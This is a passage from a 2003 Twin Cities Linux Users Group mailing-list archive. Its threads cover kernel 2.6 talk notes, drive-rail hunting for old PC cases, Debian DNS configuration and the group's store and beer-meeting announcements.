(nate@refried.org) Date: Mon Jan 17 12:40:03 2005 Subject: [TCLUG] My notes for the kernel 2.6 talk Message-ID: <20030803154548.GA17056@refried.org> Here are the notes I used for the talk on Saturday. It includes a few URLs that are helpful. Most of the talk came from the post Halloween document by Dave Jones. Introductions The deal with kernel versions - x.y.z - stable kernels have even y - development kernels have odd y - extra version options - ac Alan Cox - mm Andrew Morton - aa Andrea Arcangeli - pre/rc/test Documentation to read - Documentation/Changes - Wonderful World of 2.6 http://kniggit.net/wwol26.html - post Halloween document http://www.codemonkey.org.uk/post-halloween-2.5.txt - REPORTING-BUGS - lkml FAQ http://www.lkml.org/faq/ What are some new things with 2.6? - New build system, not kbuild 2.5 - make dep is no longer needed - other new/helpful targets - New config system, not cml2 - config files are spread around the tree - default xconfig requires qt - might want to start with defconfig - sysfs and extended hotplug support - eventually taking over devfs - based on a system model - userspace implmentation of dynamic /dev - block I/O layer - device mapper replaces LVM in kernel - XFS in the kernel :) - lots of work on VM, scheduler, and interactivity - Large Block Device support - Greater than 2TB support - initramfs replaces initrd - klibc Stuff to watch out for when trying 2.6.0-test[123] - CONFIG_INPUT - reorganized config menus - new module-init-tools - doesn't seem to provide recursive lookup yet _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From cschumann at twp-llc.com Sun Aug 3 12:40:31 2003 From: cschumann at twp-llc.com (Chris Schumann) Date: Mon Jan 17 12:40:03 2005 Subject: [TCLUG] Trouble installing RH9 on a server with an Adaptec 2100S In-Reply-To: <20030803170005.13154.35381.Mailman@pirate.real-time.com> Message-ID: > From: "Greg Evans" > Subject: [TCLUG] Trouble installing RH9 on a server with an Adaptec 2100S > This is a multi-part message in MIME format. > > ------=_NextPart_000_0001_01C358E6.E301E360 > Content-Type: text/plain; > charset="us-ascii" > Content-Transfer-Encoding: 7bit > > > We are trying to get RH9 installed on an older Intel server (440 > chipset). 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> > ------=_NextPart_000_0001_01C358E6.E301E360-- I've recently put RH9 on an IBM Netfinity 5000 (PII, 350MHz) and an Adaptec 2100S. RH9 has a driver for this card, so there was no need to make a floppy of any type (as long as you can boot the installation disc). Make sure you visit Adaptec's site and get the latest firmware. (Unless you have a Netfinity!) E-mail me off list if you'd like more details. Chris Schumann _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From dru at druswanderings.net Sun Aug 3 15:16:27 2003 From: dru at druswanderings.net (The Wandering Dru) Date: Mon Jan 17 12:40:03 2005 Subject: [TCLUG] [TCLUG-ANNOUNCE] TCLUG Store is now active! In-Reply-To: <20030802071112.I23377@real-time.com> References: <3F2ADB36.2070800@druswanderings.net> <20030802071112.I23377@real-time.com> Message-ID: <1059941787.705.6.camel@cesium> On Sat, 2003-08-02 at 07:11, amy@real-time.com wrote: > > 1. The tux with just www.tclug.org below it (for left-pocket location on > t-shirt) Easily accomplished. I'll try and get that up on Monday. > 2. Other shirt colors? For instance, black with the tux colors reversed? Unfortunately, we are limited to what CafePress provides for shirts(mostly white and grey). Their current process doesn't allow for white. White is transparent on their stuff. This may change in the future. > 3. Long-sleeve t-shirts Kick me for this, I thought I put a couple up. I will remedy the sitch, again, probably Monday. > 4. Polo shirts with embroidered logo See answer for number two. If people realy want this we would have to go through an embroidery shop and have an initial outlay of capital. The nice thing about CafePress is they don't make it 'til it's ordered. > > Nice job. Thanks. -- The Wandering Dru http://druswanderings.net <--- Things 'n' such _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From dru at druswanderings.net Sun Aug 3 15:18:20 2003 From: dru at druswanderings.net (The Wandering Dru) Date: Mon Jan 17 12:40:03 2005 Subject: [TCLUG] [TCLUG-ANNOUNCE] TCLUG Store is now active! In-Reply-To: <3F2BABC2.16A8B983@gvtel.com> References: <3F2ADB36.2070800@druswanderings.net> <20030802071112.I23377@real-time.com> <3F2BABC2.16A8B983@gvtel.com> Message-ID: <1059941900.705.9.camel@cesium> On Sat, 2003-08-02 at 07:17, Robert Sinland wrote: > > 1. The tux with just www.tclug.org below it (for left-pocket location on t-shirt) > > Does this shirt have a pocket? Doesn't look like it on the photo > > Nice job on the beer stiens, I was wondering if that would be in the mix :) > RS I was kinda disappointed to find out that not even the golf shirt has a pocket. This may be a limitation of their process. I'll put in a request tho. Who knows, it may change in the future. -- The Wandering Dru http://druswanderings.net <--- Things 'n' Such _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From webmaster at mn-linux.org Sun Aug 3 11:07:55 2003 From: webmaster at mn-linux.org (webmaster@mn-linux.org) Date: Mon Jan 17 12:40:03 2005 Subject: [TCLUG] A new classified ad at TCLUG Classifieds Message-ID: <200308031607.h73G7tV15601@crusader.real-time.com> A new TCLUG classified ad at was placed Sun Aug 3 11:07:55 2003. Name: Jim Kaufman Category: computersell Subject: PC-133 Memory For Sale Ad: 2 sticks of pc133 memory, 128MB each. Used. $10/each. 2/$15. To view this and other ads at TCLUG Classifieds, please visit: http://www.mn-linux.org/cgi-bin/classifieds/classifieds.cgi _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From nota12b at iglide.net Sun Aug 3 22:47:47 2003 From: nota12b at iglide.net (Wil) Date: Mon Jan 17 12:40:03 2005 Subject: [TCLUG] interesting reading In-Reply-To: <20030802170004.13537.29029.Mailman@pirate.real-time.com> References: <20030802170004.13537.29029.Mailman@pirate.real-time.com> Message-ID: <1059968867.19244.2.camel@loki.valhalla> Found this recently and have been reading/following it for a while... kinda cool to see somebody call the DOJ a bunch of idiots - and then back it up! http://www.lamlaw.com Enjoy! -- Wil Now back to your regularly scheduled procrastination, already in progress... _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From rclark at lakesplus.com Mon Aug 4 08:59:11 2003 From: rclark at lakesplus.com (Randy Clarksean) Date: Mon Jan 17 12:40:03 2005 Subject: [TCLUG] OT: Hardware Needed - Brackets Message-ID: <006801c35a90$97840cf0$0201a8c0@office> I just acquired about 10 PC Celeron systems with missing hard drives and CDRoms. Not a big deal that they are missing, but the case is the type where there are brackets that screw to the side of the CDRom ... to allow for them to be slide in and out. So ... there are no screw hole in the cases to allow for the install of another CDRom. I have searched the web for "brackets" and I have had no luck locating any. They are simply a piece of metal with a "spring clip" that snaps and holds the device in place. Anyone have an idea where I might locate such a part? Without of course buying a new case. Thanks! Randy "The ultimate measure of a man is not where he stands in moments of comfort, but where he stands at times of challenge and controversy." - Martin Luther King, Jr. ph: 218-385-3750 fax:218-385-3751 email: rclark@lakesplus.com -------------- next part -------------- An HTML attachment was scrubbed... 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Direct 320-258-6412 Main 320-252-7060 Fax 320-252-9627 mkroska@kdv.com "NOTICE: This E-mail (including attachments) is covered by the Electronic Communications Privacy Act, 18 U.S.C. 2510-2521, is confidential and may be legally privileged. If you are not the intended recipient, you are hereby notified that any retention, dissemination, distribution or copying of this communication is strictly prohibited, Please reply to the sender that you have received the message in error, then delete it. Thank you." ----- Original Message ----- From: Randy Clarksean To: tclug Sent: Monday, August 04, 2003 8:59 AM Subject: [TCLUG] OT: Hardware Needed - Brackets I just acquired about 10 PC Celeron systems with missing hard drives and CDRoms. Not a big deal that they are missing, but the case is the type where there are brackets that screw to the side of the CDRom ... to allow for them to be slide in and out. So ... there are no screw hole in the cases to allow for the install of another CDRom. I have searched the web for "brackets" and I have had no luck locating any. They are simply a piece of metal with a "spring clip" that snaps and holds the device in place. Anyone have an idea where I might locate such a part? Without of course buying a new case. Thanks! Randy "The ultimate measure of a man is not where he stands in moments of comfort, but where he stands at times of challenge and controversy." - Martin Luther King, Jr. ph: 218-385-3750 fax:218-385-3751 email: rclark@lakesplus.com -------------- next part -------------- An HTML attachment was scrubbed... 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Each case company does things differently; can't really help you find 'em if we don't know what brand it is. :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From tsinks at isd.net Mon Aug 4 10:00:18 2003 From: tsinks at isd.net (Tim Sinks) Date: Mon Jan 17 12:40:04 2005 Subject: [TCLUG] OT: Hardware Needed - Brackets References: <006801c35a90$97840cf0$0201a8c0@office> Message-ID: <005d01c35a99$224eedc0$0300000a@net.tsinks> You should check out ABC 7th Ave N in Mnpls, Ax Man, and others. Rails are usually easy to come by. If the cage doesn't work, put another one in. They are closer to the same than you might think. Maybe you have to drill a couple of holes. Look in an old case you might have. Thanks, Tim Sinks ----- Original Message ----- From: Randy Clarksean To: tclug Sent: Monday, August 04, 2003 8:59 AM Subject: [TCLUG] OT: Hardware Needed - Brackets I just acquired about 10 PC Celeron systems with missing hard drives and CDRoms. Not a big deal that they are missing, but the case is the type where there are brackets that screw to the side of the CDRom ... to allow for them to be slide in and out. So ... there are no screw hole in the cases to allow for the install of another CDRom. I have searched the web for "brackets" and I have had no luck locating any. They are simply a piece of metal with a "spring clip" that snaps and holds the device in place. Anyone have an idea where I might locate such a part? Without of course buying a new case. Thanks! Randy "The ultimate measure of a man is not where he stands in moments of comfort, but where he stands at times of challenge and controversy." - Martin Luther King, Jr. ph: 218-385-3750 fax:218-385-3751 email: rclark@lakesplus.com -------------- next part -------------- An HTML attachment was scrubbed... URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030804/8befc1e8/attachment.htm From rclark at lakesplus.com Mon Aug 4 10:20:53 2003 From: rclark at lakesplus.com (Randy Clarksean) Date: Mon Jan 17 12:40:04 2005 Subject: [TCLUG] OT: Hardware Needed - Brackets References: <006801c35a90$97840cf0$0201a8c0@office> Message-ID: <007a01c35a9c$0180c480$0201a8c0@office> Well ... hard to say what brand they are ... they are pretty basic cases. I have looked all over and there is not an indication of a brand name on the case (made in China). There is a part number on the bracket ... but a search on the web for the number of course netted nothing. The power supply is an Enlight Corp supply ... but that of course means little or nothing. The brackets themselves are about 4 7/8" long by 3/4" wide. The first screw hole is 1/4" back from the front. The spring clip is roughly 3/4" to 7/8" long. I did find some rail kits on http://store.yahoo.com/mypccase/encasdrivrai.html that are close ... but $4 apiece before shipping. If I could find a $15 case without PS ... I would probably just go that route. Randy ... snip .... > > What brand hardware is it? > > Each case company does things differently; can't really help you find 'em > if we don't know what brand it is. :) > > -- > Nate Carlson | Phone : (952)943-8700 > http://www.real-time.com | Fax : (952)943-8500 > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jeffr at odeon.net Mon Aug 4 11:22:09 2003 From: jeffr at odeon.net (jeffr@odeon.net) Date: Mon Jan 17 12:40:04 2005 Subject: [TCLUG] OT: Hardware Needed - Brackets In-Reply-To: <007a01c35a9c$0180c480$0201a8c0@office> Message-ID: Actually, Enlight Corp. makes cases that use metal drive rails that fit that description. The best picture of the Enlight rails that I can find is at newegg.com's website. The full URL at newegg is really long, so I'm including a URL to just the image. http://images10.newegg.com/productimage/11-116-122-14.JPG However, newegg.com sells entire cases and not just the Enlight drive rails (to the best of my knowledge). They look very similar (if not identical) to the ones at the link you provided. Jeff On Mon, 4 Aug 2003, Randy Clarksean wrote: > Well ... hard to say what brand they are ... they are pretty basic cases. I > have looked all over and there is not an indication of a brand name on the > case (made in China). There is a part number on the bracket ... but a > search on the web for the number of course netted nothing. The power supply > is an Enlight Corp supply ... but that of course means little or nothing. > > The brackets themselves are about 4 7/8" long by 3/4" wide. The first screw > hole is 1/4" back from the front. The spring clip is roughly 3/4" to 7/8" > long. > > I did find some rail kits on > http://store.yahoo.com/mypccase/encasdrivrai.html that are close ... but $4 > apiece before shipping. > > If I could find a $15 case without PS ... I would probably just go that > route. > > Randy > > > ... snip .... > > > > What brand hardware is it? > > > > Each case company does things differently; can't really help you find 'em > > if we don't know what brand it is. :) > > > > -- > > Nate Carlson | Phone : (952)943-8700 > > http://www.real-time.com | Fax : (952)943-8500 > > > > > > _______________________________________________ > > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > > http://www.mn-linux.org tclug-list@mn-linux.org > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From scot+tcluggen at thinkunix.net Mon Aug 4 11:27:32 2003 From: scot+tcluggen at thinkunix.net (Scot Jenkins) Date: Mon Jan 17 12:40:04 2005 Subject: [TCLUG] kernel config and CHS? Message-ID: <20030804112732.A26687@thinkunix.net> I have Debian on a laptop with a custom 2.4.20 kernel and although everything is working fine, 'fdisk -l /dev/hda' spits out a bunch of errors: "Partition N does not end on cylinder boundary:". I think this is because the running kernel is detecting different cylinder, head, sector values. dmesg shows CHS=2432/255/63 when running my custom kernel yet the default debian kernel off cd#1 (bf24 with 2.4.18 kernel) shows CHS=2584/240/63. The physical drive CHS = 16383/15/63 and there doesn't seem to be a way to specify any options in the BIOS. I believe the CHS=2584/240/63 is correct because both Debian woody cd#1 and a Slackware 8.1 cd report this when I boot them and run fdisk. I first thought it was a lilo issue but playing with options there had no effect. It appears to be something different in my custom kernel. I went back though my .config but didn't see anything obvious. Also googled for a while with no luck. Anyone else experience this or know of a kernel option that would affect this? -- scot _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From kent at structural-wood.com Mon Aug 4 11:40:24 2003 From: kent at structural-wood.com (Kent Schumacher) Date: Mon Jan 17 12:40:04 2005 Subject: [TCLUG] OT: Hardware Needed - Brackets References: Message-ID: <3F2E8C78.50709@structural-wood.com> I'm guessing any local assembler (like Tran or General Nano) will have a lot of spare rails around. That particular style of rail has been around since the '486 days; I know, because I've got a couple of those rails on my side table that I just pulled out of a box that had a 486-25 motherboard. Kent jeffr@odeon.net wrote: > Actually, Enlight Corp. makes cases that use metal drive rails that fit > that description. > > The best picture of the Enlight rails that I can find is at newegg.com's > website. The full URL at newegg is really long, so I'm including a URL to > just the image. > > http://images10.newegg.com/productimage/11-116-122-14.JPG > > However, newegg.com sells entire cases and not just the Enlight drive > rails (to the best of my knowledge). > > They look very similar (if not identical) to the ones at the link you > provided. > > Jeff > > > On Mon, 4 Aug 2003, Randy Clarksean wrote: > > >>Well ... hard to say what brand they are ... they are pretty basic cases. I >>have looked all over and there is not an indication of a brand name on the >>case (made in China). There is a part number on the bracket ... but a >>search on the web for the number of course netted nothing. The power supply >>is an Enlight Corp supply ... but that of course means little or nothing. >> >>The brackets themselves are about 4 7/8" long by 3/4" wide. The first screw >>hole is 1/4" back from the front. The spring clip is roughly 3/4" to 7/8" >>long. >> >>I did find some rail kits on >>http://store.yahoo.com/mypccase/encasdrivrai.html that are close ... but $4 >>apiece before shipping. >> >>If I could find a $15 case without PS ... I would probably just go that >>route. >> >>Randy >> >> >>... snip .... >> >>>What brand hardware is it? >>> >>>Each case company does things differently; can't really help you find 'em >>>if we don't know what brand it is. :) >>> >>>-- >>>Nate Carlson | Phone : (952)943-8700 >>>http://www.real-time.com | Fax : (952)943-8500 >>> >>> >>>_______________________________________________ >>>TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >>>http://www.mn-linux.org tclug-list@mn-linux.org >>>https://mailman.real-time.com/mailman/listinfo/tclug-list >> >> >> >>_______________________________________________ >>TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >>http://www.mn-linux.org tclug-list@mn-linux.org >>https://mailman.real-time.com/mailman/listinfo/tclug-list >> >> >> > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From natecars at real-time.com Mon Aug 4 12:47:24 2003 From: natecars at real-time.com (natecars@real-time.com) Date: Mon Jan 17 12:40:04 2005 Subject: [TCLUG] OT: Hardware Needed - Brackets In-Reply-To: <007a01c35a9c$0180c480$0201a8c0@office> References: <006801c35a90$97840cf0$0201a8c0@office> <007a01c35a9c$0180c480$0201a8c0@office> Message-ID: On Mon, 4 Aug 2003, Randy Clarksean wrote: > Well ... hard to say what brand they are ... they are pretty basic > cases. I have looked all over and there is not an indication of a brand > name on the case (made in China). There is a part number on the bracket > ... but a search on the web for the number of course netted nothing. > The power supply is an Enlight Corp supply ... but that of course means > little or nothing. Ah, it's likely an Enlight case, then - Enlight branded cases are generally the only ones that include their power supply. How many do you need? We may have some spares at the office; not sure.. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jkey at tomobiki.dyndns.org Mon Aug 4 13:28:41 2003 From: jkey at tomobiki.dyndns.org (Joseph) Date: Mon Jan 17 12:40:04 2005 Subject: [TCLUG] OT: Hardware Needed - Brackets In-Reply-To: <006801c35a90$97840cf0$0201a8c0@office> Message-ID: <000801c35ab6$3edb1a00$0436a8c0@tomobiki.dyndns.org> You could also try MPC. Joseph Key -----Original Message----- From: tclug-list-admin@mn-linux.org [mailto:tclug-list-admin@mn-linux.org] On Behalf Of Randy Clarksean Sent: Monday, August 04, 2003 8:59 AM To: tclug Subject: [TCLUG] OT: Hardware Needed - Brackets I just acquired about 10 PC Celeron systems with missing hard drives and CDRoms.? Not a big deal that they are missing, but the case is the type where there are brackets that screw to the side of the CDRom ... to allow for them to be slide in and out.? So ... there are no screw hole in the cases to allow for the install of another CDRom. ? I have searched the web for "brackets" and I have had no luck locating any.? They are simply a piece of metal with a "spring clip" that snaps and holds the device in place.? Anyone have an idea where I might locate such a part?? Without of course buying a new case. ? Thanks! ? Randy ? "The ultimate measure of a man is not where he stands in moments of comfort, but where he stands at times of challenge and controversy." - Martin Luther King, Jr. ? ph: 218-385-3750 fax:218-385-3751 email: rclark@lakesplus.com _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From cxobert at goldengate.net Mon Aug 4 12:26:52 2003 From: cxobert at goldengate.net (Charlie Obert) Date: Mon Jan 17 12:40:04 2005 Subject: [TCLUG] getting Internet working on Debian In-Reply-To: <20030803170005.13154.35381.Mailman@pirate.real-time.com> References: <20030803170005.13154.35381.Mailman@pirate.real-time.com> Message-ID: <3F2E975C.8030803@goldengate.net> I have Debian 3.0r1 on one of my machines here, and I'm having trouble getting the Internet setup working. First my ethernet card wasn't being recognized, but I could do a modprobe sis900 ifconfig eth0 192.168.0.99 netmask 255.255.255.0 and after those commands I can ping my router (192.168.0.1) (Actiontec with Quest DSL) and have it work. So, eth0 is up and the network is live, but typing any internet URL in a browser gives me a 'site not found' error. (I can also get to the Router setup screen from a browser.) Can anyone help me with what I need to do now to get to the Internet? Thanks in advance. -- Cheers, Charlie Obert "We've discovered librarians are very networked and seem to know about everything before it happens." Pardon my Freedom _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jima at beer.tclug.org Mon Aug 4 13:32:57 2003 From: jima at beer.tclug.org (Jima) Date: Mon Jan 17 12:40:04 2005 Subject: [TCLUG] Beer Meeting Friday! Message-ID: Wow, a whole four days beforehand. Fancy that. --- snip --- A TCLUG beer meeting is a bi-weekly get-together where TCLUG members can get to know one another and share a beer. The beer meetings are open to anyone and everyone, so don't be afraid to show up. When: Friday, August 8, 2003 6pm - 8pm Where: Upstairs at McGovern's 225 W 7th St St. Paul, MN Details: Back to an old stand-by for this week! A trusted locale with good food, beer, and atmosphere. Come share a beer, or pop with fellow geeks. As always, everyone is welcome! Bring a friend, spouse, or co-worker. --- snip --- There's free parking half a block away. More information, et al, available at http://beer.tclug.org Jima _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jima at beer.tclug.org Mon Aug 4 13:32:57 2003 From: jima at beer.tclug.org (Jima) Date: Mon Jan 17 12:40:04 2005 Subject: [TCLUG] [TCLUG-ANNOUNCE] Beer Meeting Friday! Message-ID: Wow, a whole four days beforehand. Fancy that. --- snip --- A TCLUG beer meeting is a bi-weekly get-together where TCLUG members can get to know one another and share a beer. The beer meetings are open to anyone and everyone, so don't be afraid to show up. When: Friday, August 8, 2003 6pm - 8pm Where: Upstairs at McGovern's 225 W 7th St St. Paul, MN Details: Back to an old stand-by for this week! A trusted locale with good food, beer, and atmosphere. Come share a beer, or pop with fellow geeks. As always, everyone is welcome! Bring a friend, spouse, or co-worker. --- snip --- There's free parking half a block away. More information, et al, available at http://beer.tclug.org Jima _______________________________________________ Twin Cities Linux Users Group Announcements - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-announce mailing list tclug-announce@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-announce _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From dru at druswanderings.net Mon Aug 4 13:45:08 2003 From: dru at druswanderings.net (The Wandering Dru) Date: Mon Jan 17 12:40:04 2005 Subject: [TCLUG] getting Internet working on Debian In-Reply-To: <3F2E975C.8030803@goldengate.net> References: <20030803170005.13154.35381.Mailman@pirate.real-time.com> <3F2E975C.8030803@goldengate.net> Message-ID: <3F2EA9B4.4030400@druswanderings.net> Charlie Obert wrote: > I have Debian 3.0r1 on one of my machines here, and I'm having trouble > getting the Internet setup working. > > First my ethernet card wasn't being recognized, but I could do a > modprobe sis900 > ifconfig eth0 192.168.0.99 netmask 255.255.255.0 > > and after those commands I can ping my router (192.168.0.1) (Actiontec > with Quest DSL) and have it work. So, eth0 is up and the network is > live, but typing any internet URL in a browser gives me a 'site not > found' error. (I can also get to the Router setup screen from a browser.) > > Can anyone help me with what I need to do now to get to the Internet? > > Thanks in advance. > You need to give the machine some DNS servers to use to look up internet addresses. These go in your /etc/resolv.conf file. ie, nameserver dns1.yourisp.com nameserver dns2.yourisp.com -- The Wandering Dru http://druswanderings.net <--- Things 'n' Such Get nifty TCLUG merchandise at the TCLUG Store! http://www.cafeshops.com/tclug _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From dru at druswanderings.net Mon Aug 4 13:46:16 2003 From: dru at druswanderings.net (The Wandering Dru) Date: Mon Jan 17 12:40:04 2005 Subject: [TCLUG] Beer Meeting Friday! In-Reply-To: References: Message-ID: <3F2EA9F8.6080408@druswanderings.net> Jima wrote: > Wow, a whole four days beforehand. Fancy that. > > --- snip --- > A TCLUG beer meeting is a bi-weekly get-together where TCLUG members can > get to know one another and share a beer. The beer meetings are open to > anyone and everyone, so don't be afraid to show up. > > When: > Friday, August 8, 2003 > 6pm - 8pm > > Where: > Upstairs at McGovern's > 225 W 7th St > St. Paul, MN > > Details: > Back to an old stand-by for this week! A trusted locale with good food, > beer, and atmosphere. > Come share a beer, or pop with fellow geeks. As always, everyone is > welcome! Bring a friend, spouse, or co-worker. > --- snip --- > > There's free parking half a block away. > More information, et al, available at http://beer.tclug.org > > Jima > > Holy cow!! Is it Thursday already? ;-) -- The Wandering Dru http://druswanderings.net <--- Things 'n' Such Get nifty TCLUG merchandise at the TCLUG Store! http://www.cafeshops.com/tclug _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From iaustin at qbp.com Mon Aug 4 14:56:53 2003 From: iaustin at qbp.com (Ivan Austin) Date: Mon Jan 17 12:40:04 2005 Subject: [TCLUG] getting Internet working on Debian Message-ID: <697D85C7B352D411964600D0B765C19B047CB4B5@saddle.mn1.qbp.com> As long as the router is dynamically getting the ISP's DNS address, you should be able to enter the router's IP as the gateway and DNS. -----Original Message----- From: The Wandering Dru [mailto:dru@druswanderings.net] Sent: Monday, August 04, 2003 1:45 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] getting Internet working on Debian Charlie Obert wrote: > I have Debian 3.0r1 on one of my machines here, and I'm having trouble > getting the Internet setup working. > > First my ethernet card wasn't being recognized, but I could do a > modprobe sis900 > ifconfig eth0 192.168.0.99 netmask 255.255.255.0 > > and after those commands I can ping my router (192.168.0.1) (Actiontec > with Quest DSL) and have it work. So, eth0 is up and the network is > live, but typing any internet URL in a browser gives me a 'site not > found' error. (I can also get to the Router setup screen from a browser.) > > Can anyone help me with what I need to do now to get to the Internet? > > Thanks in advance. > You need to give the machine some DNS servers to use to look up internet addresses. These go in your /etc/resolv.conf file. ie, nameserver dns1.yourisp.com nameserver dns2.yourisp.com -- The Wandering Dru http://druswanderings.net <--- Things 'n' Such Get nifty TCLUG merchandise at the TCLUG Store! http://www.cafeshops.com/tclug _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From joel_cd at yahoo.com Mon Aug 4 16:13:15 2003 From: joel_cd at yahoo.com (Joel Dick) Date: Mon Jan 17 12:40:04 2005 Subject: [TCLUG] OT: Hardware Needed - Brackets In-Reply-To: <006801c35a90$97840cf0$0201a8c0@office> Message-ID: <20030804211315.12147.qmail@web13802.mail.yahoo.com> I'm surprised that no one has mentioned Dexis. Check it out http://www.dexis.com/. Seems to be a computer junkyard, but they've got all sorts of old parts and things, normally pretty cheap. I know of one other place over in mendota heights as well, but I don't remember the name of it. Speaking of drive rails, I have a server case I've had for a few years that I hadn't ever found drive rails for. Nowadays though, it's an AT form factor case, so unless someone wants a cheaper/slower server, it isn't worth much. I might juat have to strip it and get rid of it. Though it does look fairly nice (black, on casters, 8 or more 5 1/4" bays, easy access to the inside parts) I suppose if anyone was interested in giving it a good home I'd be willing to part with it. I actually don't mind drive rails, I just wish there was a ISDR (Industry Standard Drive Rail) :) Joel --- Randy Clarksean wrote: > I just acquired about 10 PC Celeron systems with missing hard drives and > CDRoms. Not a big deal that they are missing, but the case is the type > where there are brackets that screw to the side of the CDRom ... to > allow for them to be slide in and out. So ... there are no screw hole > in the cases to allow for the install of another CDRom. > > I have searched the web for "brackets" and I have had no luck locating > any. They are simply a piece of metal with a "spring clip" that snaps > and holds the device in place. Anyone have an idea where I might locate > such a part? Without of course buying a new case. > > Thanks! > > Randy > > "The ultimate measure of a man is not where he stands in moments of > comfort, but where he stands at times of challenge and controversy." - > Martin Luther King, Jr. > > ph: 218-385-3750 > fax:218-385-3751 > email: rclark@lakesplus.com > __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software http://sitebuilder.yahoo.com _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From joel_cd at yahoo.com Mon Aug 4 16:23:04 2003 From: joel_cd at yahoo.com (Joel Dick) Date: Mon Jan 17 12:40:05 2005 Subject: [TCLUG] OT: Hardware Needed - Brackets In-Reply-To: <20030804211315.12147.qmail@web13802.mail.yahoo.com> Message-ID: <20030804212304.20069.qmail@web13808.mail.yahoo.com> Actually, scratch that Dexis idea, I just saw on their website they're not open to the public anymore. Shoot.... Well I'll try to get the name of that other place. --- Joel Dick wrote: > I'm surprised that no one has mentioned Dexis. Check it out > http://www.dexis.com/. Seems to be a computer junkyard, but they've got > all sorts of old parts and things, normally pretty cheap. I know of one > other place over in mendota heights as well, but I don't remember the > name > of it. > > Speaking of drive rails, I have a server case I've had for a few years > that I hadn't ever found drive rails for. Nowadays though, it's an AT > form > factor case, so unless someone wants a cheaper/slower server, it isn't > worth much. I might juat have to strip it and get rid of it. Though it > does look fairly nice (black, on casters, 8 or more 5 1/4" bays, easy > access to the inside parts) I suppose if anyone was interested in giving > it a good home I'd be willing to part with it. > > I actually don't mind drive rails, I just wish there was a ISDR > (Industry > Standard Drive Rail) :) > > Joel > > --- Randy Clarksean wrote: > > I just acquired about 10 PC Celeron systems with missing hard drives > and > > CDRoms. Not a big 